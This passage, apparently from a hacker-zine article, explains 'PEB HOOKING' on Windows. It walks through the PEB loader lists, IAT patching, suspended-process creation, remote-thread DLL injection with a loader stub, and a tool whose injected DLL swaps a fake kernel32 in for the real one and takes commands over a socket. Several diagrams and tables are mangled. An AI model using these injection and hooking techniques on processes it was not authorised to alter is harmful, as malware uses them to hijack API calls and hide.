‑ Addresses in memory of the Heap.

‑ If the process is being depurated.

‑ ...

‑‑‑‑‑‑[ CODE

typedef struct _PEB

{

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData;

PVOID ProcessHeap;

PVOID FastPebLock;

PPEBLOCKROUTINE FastPebLockRoutine; PPEBLOCKROUTINE FastPebUnlockRoutine;

...

} PEB, *PPEB;

‑‑‑‑‑‑[ END CODE

To realize PEB HOOKING it is needed to use the field LoaderData [T.1].

‑‑‑‑‑‑[ 2.1.1 ‑ LoaderData

It is a structure [R.1] in which there are some data about the modules of a process. It is a doubly linked list and it can be sorted by three criteria [R.2]:

1.‑ Order of loading

2.‑ Order in memory

3.‑ Order of initialization

‑‑‑‑‑‑[ CODE

typedef struct _PEB_LDR_DATA

{

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

‑‑‑‑‑‑[ END CODE

All flink and blink fields in LIST_ENTRY are in reality pointers to LDR_MODULE.

‑‑‑‑‑‑[ CODE

typedef struct _LIST_ENTRY {

struct _LIST_ENTRY * Flink;

struct _LIST_ENTRY * Blink;

} LIST_ENTRY,*PLIST_ENTRY;

‑‑‑‑‑‑[ END CODE

The data that we are going to manipulate from LDR_MODULE to realize PEB HOOKING are [T.1]:

‑ BaseAddress: The base of the module in memory.

‑ EntryPoint : Address where the module's first instruction to be executed can be found.

‑ SizeOfImage: Size of the module in memory.

‑‑‑‑‑‑[ CODE

typedef struct _LDR_MODULE

{

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST_ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 2.2 ‑ Import Address Table

Import Address Table (IAT) is a table that the PE32 [R.3] have, which fills the win32 loader when a module [R.4] is loaded and also on late loading using stub at IAT.

External symbols that need a module are called importations, the symbols that a module provide to other modules are called exportations.

In the IAT [R.3] of a module there are the addresses of its importations, that is, in the IAT [R.3] of a module there are the addresses of the exportations it uses from other modules.

‑‑‑‑‑‑[ 2.2.1 ‑ Load of the Import Address Table

For the win32 loader to be able to obtain the exportation it needs to know: the module where it is located, the name of the exportation and/or the ordinal [R.3].

The PE32 has a structure called IMAGE_IMPORT_DESCRIPTOR [R.5] where we can highlight the fields:

‑ Name : Name of the module where the exportations are located.

‑ OriginalFirstThunk: Address of the table where the names and/or the ordinals of the exportations that the module imports are located.

‑ FirstThunk : Address of a table, identical to OriginalFirstThunk, where the win32 loader puts the addresses of the importations.

‑‑‑‑‑‑[ CODE

typedef struct _IMAGE_IMPORT_DESCRIPTOR {

DWORD OriginalFirstThunk;

DWORD TimeDateStamp;

DWORD ForwarderChain;

DWORD Name;

DWORD FirstThunk;

} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

‑‑‑‑‑‑[ END CODE

Each entry of the table of FirstThunk and OriginalFirstThunk has two fields [R.3]:

‑ Hint: if the first 31/63 bits are 0x80000000 it will import only taking account the ordinal, otherwise the name will be used. The bits 15‑0 represent the ordinal.

‑ Name: Address where the name of the exportation is located.

‑‑‑‑‑‑[ CODE

typedef struct _IMAGE_IMPORT_BY_NAME {

WORD Hint;

BYTE Name[1];

} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 2.3 ‑ Starting a process in suspended state

When it is wanted to create a process in suspended state it is necessary to know which type it is [R.6]:

‑ Console

‑ GUI

Console type processes can be created with the API CreateProcess and the flag CREATE_SUSPENDED.

If GUI type processes are opened with the flag CREATE_SUSPENDED may not work correctly, so they must be created using the APIs: 1.‑ CreateProcess : Process is created without the flag CREATE_SUSPENDED.

2.‑ WaitForInputIdle: Correct load of the process [R.6] is waited for. 3.‑ SuspendThread : The main thread is suspended.

‑‑‑‑‑‑[ 2.4 ‑ Injection of a DLL in a process

To inject a DLL in a process there are many methods [R.7], the most simple is using the APIs:

1.‑ VirtualAllocEx : To reserve memory in the process. 2.‑ WriteProcessMemory: To write in the reserved space a code that loads a DLL.

3.‑ CreateRemoteThread: A thread is created in the process that executes the written code.

4.‑ VirtualFreeEx : Once the DLL is loaded reserved memory is freed.

‑‑‑‑‑‑[ 2.5 ‑ Hooks in ring3

There always has been many forms to realize "hooks" in win32, as much in ring3 as in ring0. The problem about working in ring0 lies in that if something fails the OS may become unstable. The most stable method for the OS is to realize the "hook" from ring3.

The most known methods are:

‑ IAT HOOKING: Entries in the IAT [R.3] are modified, which puts the loader in win32, so it points to another zone [R.8].

‑ PUSH + RET: In a code area PUSH DIRECTION and RET are introduced to jump to the desired address. Generally it is needed to pass the control to the original area, having to restore it in a determined moment [R.9].

‑ SetWindowHook...: With these APIs, a callback may be registered for different events of the system [R.10].

‑‑‑‑‑‑[ 2.5.1 ‑ Problems

Some problems in the methods to realize hooks in ring3:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Some Methods | Some problems |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| IAT HOOKING [R.8] | 1.‑ The IAT [R.3] of all the loaded modules |

| | have to be changed. |

| | 2.‑ A module does not need IAT [R.3] to use |

| | symbols exported by others. |

| | 3.‑ It is very well known. |

| | 4.‑ Easy to repair. |

| | 5.‑ Can be detectable. | | | 6.‑ Does not allow full control from the start.|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PUSH + RET [R.9] | 1.‑ The method is not generic for all the areas|

| | of the code. |

| | 2.‑ It is complicated to implement. |

| | 3.‑ Easy to repair. |

| | 4.‑ Can be detectable. | | | 5.‑ Does not allow full control from the start.|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Other "hooks": | 1.‑ Does not allow full control. |

| SetWindowHook... [R.10]| 2.‑ Easy to repair. |

| | 3.‑ Can be detectable. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PEB HOOKING [T.1] | 1.‑ It is complicated to implement. | | | 2.‑ The original DLL and the injected have to |

| | export the same symbols in the same order |

| | (at least). |

| | 3.‑ Can be detectable. | | | 4.‑ Does not allow full control from the start.|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: This table only represents the opinion of the authors.

Calls from ring3 to ring0 using SYSENTER cannot be controlled by means of the previous methods only. A system call from ring3 can be realized with SYSENTER [R.11] without happening through any DLL, of such way that the previous methods are made unusable in this pretty rare situation.

Due to the previous problems, we have decided to use PEB HOOKING [T.1] to create a engine that realizes more than "hooks": phook ‑ The PEB Hooker.

Note: The advantages and possibilities of PEB HOOKING [T.1] are explained in section 7.

‑‑‑‑‑‑[ 3.‑ Design

In this section it will be spoken of the base design to realize PEB HOOKING [T.1] successfully. The implementation is not complicated when it is understood why each thing is done.

The steps:

1.‑ Load DLL_FAKE and DLL_REAL.

2.‑ In the list that uses the loader in win32, in which all the loaded modules in this moment are located, it has to exchange many fields between DLL_FAKE and DLL_REAL.

3.‑ It is necessary that the IATs [R.3] of all the loaded modules, except DLL_REAL and maybe DLL_FAKE point to the functions that the DLL_FAKE exports.

‑‑‑‑‑‑[ 3.1 ‑ Fore steps to PEB HOOKING

It is necessary before anything to load a DLL_FAKE into the memory of the process, to which it is wanted to realize PEB HOOKING [T.1]. The DLL_FAKE must have at least the same exportations and the same order of DLL_REAL.

‑‑‑‑‑‑[ 3.2 ‑ Exchange of data in LoaderData

It is necessary to search DLL_FAKE and DLL_REAL for some identificative fields of LDR_MODULE, once found the following data will be exchanged: ‑ EntryPoint

‑ BaseAddress

‑ SizeOfImage (almost always)

The search using the field BaseDllName will obtain the data of LDR_MODULE pertaining to DLL_FAKE. Some virus, packers and APIs use this form of search to find the BaseAddress or EntryPoint of a module.

It is necessary to change the field SizeOfImage in the case that DLL_FAKE and DLL_REAL do not have the same size in memory.

Searching flow of BaseAddress of kernel32.dll in a process without PEB HOOKING [T.1]:

0 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

[ process ] ‑‑‑‑‑‑‑‑‑+ | Process Environment Block (PEB) |

| |‑‑‑‑‑‑‑‑‑‑‑‑

| | InheritedAddressSpace | | | ReadImageFileExecOptions | | | BeingDebugged | | | Spare | | | Mutant | | | ImageBaseAddress | +‑>| LoaderData |‑‑+

| ...

+‑‑‑‑‑‑‑‑‑‑‑‑1

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +

| | LoaderData | | LDR_MODULE |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |flink

| | Length | | InLoadOrderModList |‑‑‑‑‑+ | | Initialized | | InMemoryOrderModList | | | | SsHandle | | InInitOrderModList | |

+‑>| InLoadOrderModList | 2 | ... | |

| InMemoryOrderModList |‑‑‑‑>| BaseDllName "ntdll.dll" |‑‑‑+ |

| InInitOrderModList ‑ Flink | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑

| +

| |LDR_MODULE (DLL_REAL) | |

| |

| |InLoadOrderModList | 6 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 3 | | InMemoryOrderModList | |

| "kernel32.dll" |<‑‑‑‑‑‑‑+ | InInitOrderModList | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |BaseAddress 7C801000 | |

8 | |4 ^ 7 | ... | |

Yes <‑+ +‑> No +‑‑‑‑‑‑‑‑‑‑‑‑‑| BaseDllName "kernel32.dll" |<‑‑‑‑+

| | 5 | ...

9 | v +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NextLdrModule();

v

kernel32.dll = 7C801000

Searching flow of BaseAddress of kernel32.dll in the previous process with PEB HOOKING [T.1]:

0 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

[ process ] ‑‑‑‑‑‑‑‑‑+ | Process Environment Block (PEB) |

| |‑‑‑‑‑‑‑‑‑‑‑‑

| | InheritedAddressSpace | | | ReadImageFileExecOptions | | | BeingDebugged | | | Spare | | | Mutant | | | ImageBaseAddress | +‑>| LoaderData |‑‑+

| ...

+‑‑‑‑‑‑‑‑‑‑‑‑1

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +

| | LoaderData | | LDR_MODULE |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |flink

| | Length | | InLoadOrderModList |‑‑‑‑‑+ | | Initialized | | InMemoryOrderModList | | | | SsHandle | | InInitOrderModList | |

+‑>| InLoadOrderModList | 2 | ... | |

| InMemoryOrderModList |‑‑‑‑>| BaseDllName "ntdll.dll" |‑‑‑+ |

| InInitOrderModList ‑ Flink | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑

| +

| |LDR_MODULE (DLL_REAL) | |

| |6 |

| |InLoadOrderModList | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 3 | | InMemoryOrderModList |flink|

| "kernel32.dll" |<‑‑‑‑‑‑‑+ | InInitOrderModList |‑‑+ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |BaseAddress 7C801000 | | |

12 | |4‑8 ^ ^ 7 | ... | | |

Yes <‑+ +‑> No | +‑‑‑‑‑‑‑‑‑‑‑‑‑| BaseDllName "old_k32.dll" |<‑|‑‑+

| 5‑9 | +‑‑‑‑‑‑‑‑‑‑‑‑+ | ...

13 | v | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NextLdrModule(); +‑+

v | +‑‑‑‑‑

kernel32.dll = 005C5000 | | LDR_MODULE (DLL_FAKE) | | 10

|

11 | | InLoadOrderModList | |

| InMemoryOrderModList | |

| InInitOrderModList | |

| BaseAddress 005C5000 | |

|

+‑BaseDllName "kernel32.dll" |<+

Results of the search in the process:

1.‑ BaseAddress without PEB HOOKING [T.1]: 7C801000 (DLL_REAL) 2.‑ BaseAddress with PEB HOOKING [T.1]: 005C5000 (DLL_FAKE)

PD: Generally searching by InLoadOrderModList, the first field that shows up is the LDR_MODULE corresponding to the main module. In the example it has been omited for the sake of clarity.

‑‑‑‑‑‑[ 3.3 ‑ Dynamic load of modules

When a process, in that PEB HOOKING [T.1] has been done, loads a module dynamically [R.12] that has importations from DLL_REAL, its IAT [R.3] will be loaded automatically with the necessary exportations of DLL_FAKE.

‑‑‑‑‑‑[ 3.4 ‑ Repairing the IAT

Except in the modules DLL_FAKE and DLL_REAL, all the IATs [R.3] that have exportations of the DLL_REAL shall be replaced by the corresponding ones from DLL_FAKE. The IAT [R.3] of DLL_FAKE is not due to change in case the exportations of DLL_REAL are needed to be used.

If the IAT [R.3] of DLL_FAKE has been modified so the exportations of DLL_REAL are the same ones of DLL_FAKE, a call to a exportation of DLL_REAL from the same exportation of DLL_FAKE, will enter in an infinite recursive loop, causing stack overflow.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑

| .text DLL_FAKE | | IAT |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |‑‑

| ... | | LocalAlloc 1 (Nr_LocalAlloc) |

| PUSH EBP | +‑>| LoadLibrary 2 (Nr_LoadLibrary) |‑‑+

| MOV EBP, ESP | | | ....

| ... | | +‑‑

| LoadLibrary_FAKE: | |

+‑>| PUSH original_lib_name | | 0 |

| | CALL IAT[Nr_LoadLibrary] |‑‑+

| | ... |

| | POP EBP |

| | RET |

| | ... |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The real problem is that we are calling ourselves either directly or indirectly by one or various DLLs. It is not due to repair the IAT [R.3] of any module (DLL_ANY) when DLL_FAKE calls an exportation of DLL_ANY that at the same time calls an exportation of DLL_FAKE that implies to call again the same exportation direct or indirectly from DLL_ANY.

Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over NTDLL.DLL and the IAT of kernel32.dll has been changed:

Example:

[ process ]

|

| CALL RtlHeapAlloc CALL LoadLibrary +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [DLL_FAKE ntdll.dll] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

0 ^ 1 |

| CALL RtlInitUnicodeString v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑DLL_ANY kernel32.dll]

2

Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over NTDLL.DLL and the IAT [R.3] of kernel32.dll has NOT been changed:

[ process ]<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| 4 |

| CALL RtlHeapAlloc | CALL LoadLibrary +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ DLL_FAKE ntdll.dll] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

0 ^ 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| 3

| CALL RtlInitUnicodeString v

[DLL_REAL old_nt.dll] <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [DLL_ANY kernel32.dll]

2

Note: The scheme has been simplified, omiting the rest of calls of DLL_FAKE.

Flow of a normal call to LoadLibrary in a process (without PEB HOOKING [T.1]):

CALL IAT[Nr_LoadLibrary] +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

[process] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | IAT |

^ 0 | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | LocalAlloc 1 (Nr_LocalAlloc) |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑>| LoadLibrary 2 (Nr_LoadLibrary) |‑+

| | DLL_REAL kernel32.dll | | ....

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| +‑

| | ... | 1 |

| | LoadLibrary: | <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 2 | PUSH EBP |

| | MOV EBP, ESP |

| | ... |

| | POP EBP |

+‑‑‑‑| RET |

| ... |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The flow is normal and passes directly by DLL_REAL.

Flow of a call to LoadLibrary in a process with PEB HOOKING [T.1]:

CALL IAT[Nr_LoadLibrary] +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

[process] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | IAT |

^ 0 | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | LocalAlloc 1 (Nr_LocalAlloc) |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑>| LoadLibrary 2 (Nr_LoadLibrary) |‑+

| | DLL_FAKE kernel32.dll | | ....

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| +‑

4 | | ... | 1 |

| | Own_LoadLibrary: | <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | PUSH EBP |

| | MOV EBP, ESP | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | // Own functions... | 2 | DLL_REAL old_k32.dll |

| | CALL IAT[Nr_LoadLibrary]|‑‑‑‑+ |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | POP EBP |<‑+ | | ...

+‑‑| RET | | +‑>| LoadLibrary: |

| ... | | PUSH EBP |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | MOV EBP, ESP |

|

3 | | POP EBP |

| RET |‑‑+

|

|

+‑‑‑‑

As it can be observed the flow passes first through DLL_FAKE. Then DLL_FAKE calls to the original LoadLibrary (DLL_REAL).

‑‑‑‑‑‑[ 3.5 ‑ Starting execution

Once all the previous steps are done it is the moment for beginning to execute the process and to see if everything works.

‑‑‑‑‑‑[ 3.6 ‑ The APIs that work with modules

The APIs LoadLibrary, GetModuleHandle, EnumProcessModules [R.12] ... use the field LoaderData from the PEB [T.1]. This means that everytime that they try something against DLL_REAL they will be interacting with DLL_FAKE, for example:

PEB HOOKING [T.1] has been done to USER32.DLL:

‑ DLL_FAKE

‑ Name in memory: USER32.DLL

‑ BaseAddress: 00435622

‑ DLL_REAL

‑ Name in memory: OLD_U32.DLL

‑ BaseAddress: 77D10000

The process tries to obtain the base of USER32.DLL:

‑ HMODULE user32 = GetModuleHandle( "user32.dll" );

After executing GetModuleHandle [R.12] the variable user32 will contain: 00435622 (BaseAddress of DLL_FAKE). If the process does later a GetProcAddress [R.12] on some function exported by USER32.DLL, it will obtain the function of DLL_FAKE.

Thanks to PEB HOOKING [T.1] it is no longer necessary to change the behaviour of the APIs that work with modules so that they use DLL_FAKE.

‑‑‑‑‑‑[ 3.7 ‑ A new concept: DLL MINIFILTER

DLL MINIFILTER is the name that we have given to the capacity by which a call to an exportation can pass through several DLL_FAKE. One of the most importtant advantages of the method is to extend or to limit the functionalities modularly to the call of an exportation.

When PEB HOOKING [T.1] is done over a DLL_FAKE, the term DLL_REAL for the new DLL_FAKE becomes the previous DLL_FAKE, creating

While doing PEB HOOKING [T.1] over DLL_FAKE, the DLL_REAL term for the new DLL_FAKE, became the before DLL_FAKE value, creating therefore a stack of DLL_FAKEs. The flow will go form the last DLL_FAKE, of which PEB HOOKING [T.1] has taken control, to the DLL_REAL, in case that all the DLL_FAKEs call to the original export.

Flow of a call of a proceso, with PEB HOOKING [T.1], with just one DLL_FAKE:

0 1

[process] ‑‑> [DLL_FAKE] ‑‑> [DLL_REAL]

^ |

| 2 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Flow of a call of a process, with PEB HOOKING [T.1], with three DLL_FAKEs: 0 1 2 3 [process] ‑‑> [DLL_FAKE 3] ‑‑> [DLL_FAKE 2] ‑‑> [DLL_FAKE 1] ‑‑> [DLL_REAL]

^

| 4 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the previous examples, all the DLL_FAKEs pass the control to the corresponding DLL_REAL.

‑‑‑‑‑‑[ 3.8 ‑ Frequent problems

At the time of realizing PEB HOOKING [T.1] certain problems may happen, next a table with the problems and the possible solutions is shown:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Problem | Possible/s Solution/s |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ The PEB HOOKING [T.1] fails | ‑ Check if the necessary fields of the |

| | PEB [T.1] can be exchanged. |

| | ‑ Check if the correct permissions to |

| | change the needed IATs [R.3] are |

| | present. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ The execution of a process | ‑ Check that the PEB [R.1] is browsed |

| fails | correctly. |

| | ‑ Check if the IATs [R.3] of all the |

| | modules of the process have been |

| | correctly browsed. |

| | ‑ check if the modified permissions in |

| | memory in the PEB HOOKING [T.1] have |

| | been restored. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 4.‑ phook

phook is capable of realizing PEB HOOKING [T.1] (and other things) in a simple manner. phook is a project of various modules:

‑ InjectorDLL: Program that creates a suspended process and injects a DLL in it.

‑ Console Control: DLL that is injected in the process where we want to do PEB HOOKING [T.1]. It allows to do PEB HOOKING [T.1] and other tasks interactively by means of a command console by sockets.

‑ CreateExp: Program that generates from a DLL_REAL the source code needed to realize a DLL_FAKE.

‑ ph_ker32.dll: DLL_FAKE of kernel32.dll. ph_ker32.dll monotorizes the access to the APIs: CreateFileA and CreateFileW [R.14].

‑‑‑‑‑‑[ 4.1 ‑ InjectorDLL

Program that creates a suspended process and injects a DLL into it. To inject the DLL C:\console.dll in the corresponding process C:\poc.exe: ‑ To specify the type of process:

‑ CONSOLE:

‑ InjectorDLL.exe C:\console.dll ‑c C:\poc.exe ‑ GUI:

‑ InjectorDLL.exe C:\console.dll ‑g C:\poc.exe ‑ Not to specify the type of process

‑ InjectorDLL.exe C:\console.dll ‑u C:\poc.exe

InjectorDLL, with the parameter ‑u, usually detects if a process is GUI or Console to know how to create it suspended (see section 2.3). The method that we have created consists in creating the process with the API CreateProcess and the flag CREATE_SUSPENDED [R.6]. Later WaitForInputIdle is called, if the wait fails then it is a Console process, otherwise it will be GUI.

‑‑‑‑‑‑[ CODE

CreateProcess

(

program_name ,

NULL ,

NULL ,

NULL ,

FALSE ,

CREATE_SUSPENDED | CREATE_NEW_CONSOLE ,

NULL ,

NULL ,

pstart_inf ,

ppro_inf

)

// It is necessary to check the correct creation of the process

if ( WaitForInputIdle( ppro_inf‑>hProcess, 0 ) == WAIT_FAILED ) // "Console process"

else

// "GUI process"

‑‑‑‑‑‑[ END CODE

Once the type of process is known, we already know how to create it suspended correctly (see section 2.3).

Note: the method may not always work, in some ocassion a "Console process" will be detected as "GUI process".

The code that loads the DLL is put in a structure called LOADER_DLL_s (see section 2.3). LOADER_DLL_s is loaded with the instructions in assembler and the needed data. It is necessary to write in the created process the structure LOADER_DLL_s and to call to CreateRemoteThread, giving it as entrypoint the start of the structure, so that the code of LOADER_DLL_s is executed.

Once the DLL is loaded, the thread is suspended from which LOADER_DLL_s is being executed and increments a flag to indicate it.

‑‑‑‑‑‑[ CODE

typedef struct LOADER_DLL_s

{

/* ‑ CODE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PUSH_ASM_t push_name_dll; /* PUSH "DLL_INJECT.DLL"*/

CALL_ASM_t call_load_library; /* CALL LoadLibraryA */

CALL_ASM_t call_get_current_thread; /* CALL GetCurrentThread*/

INC_BYTE_MEM_t inc_flag; /* INC [FLAG] */

char PUSH_EAX; /* PUSH EAX */

CALL_ASM_t call_suspendthread; /* CALL SuspendThread */

/* ‑ DATA ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char name_dll[MAX_PATH]; /* DLL_INJECT.DLL'\0' */

char flag; /* [FLAG] */

} LOADER_DLL_t;

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 4.2 ‑ Console Control

Console Control is the DLL that is injected in the process in which it is wanted to realize PEB HOOKING [T.1]. It allows to make PEB HOOKING [T.1] and other tasks interactively by means of a command console by sockets. The port that listens writes it in the file C:\ph_listen_ports.log, with the nomenclature PID ‑ PORT. Example of a process with PID 2456, listening in the port 1234: 2456 ‑ 1234.

At the moment you have the following list of commands: help ‑ Shows this screen

exit ‑ Closes and unloads the console suspend ‑ Pauses the execution of the program resume ‑ Resumes the execution of the program showmodules ‑ Shows the list of modules load [param1] ‑ Loads in memory the specified library

in [param1]

unload [param1] ‑ Unloads a library specified in memory in

[param1]

pebhook [param1] [param2] ‑ Realizes PEB HOOKING [T.1] over a dll

[param1]: Name of the original dll

[param2]: Path to the DLL_FAKE

It is easy to understand each of the commands that our console admits, so we will explain how "showmodules", "pebhook" and "suspend" work.

The commando "showmodules" does a search in the PEB [R.1] of the loaded modules without using APIs.

pebhook is the command that realizes all the process of PEB HOOKING (see section 3).

If PEB HOOKING [T.1] over kernel32.dll is wanted to be done, using as DLL_FAKE "C:\phook\bin\windows_xp_sp2\ph_ker32.dll", for the OS Windows XP SP2, only it is necessary to send the command:

‑ pebhook kernel32.dll c:\phook\bin\windows_xp_sp2\ph_ker32.dll

The command suspend is capable of suspending the execution of the main thread of the process. The TID of the main thread is obtained browsing the THREADENTRY32 [R.13] of the system till it reaches the first of the process:

‑‑‑‑‑‑[ CODE

BOOL GetMainThreadId( DWORD * thread_id )

{

HANDLE hThreadSnap;

THREADENTRY32 th32;

BOOL return_function;

DWORD process_id;

process_id = GetCurrentProcessId(); hThreadSnap = INVALID_HANDLE_VALUE; return_function = FALSE;

hThreadSnap = \

CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, process_id );

if( hThreadSnap == INVALID_HANDLE_VALUE )

{

ShowGetLastErrorString

( " GetMainThreadId() ‑ CreateToolhelp32Snapshot()" ); return FALSE;

}

th32.dwSize = sizeof( THREADENTRY32 );

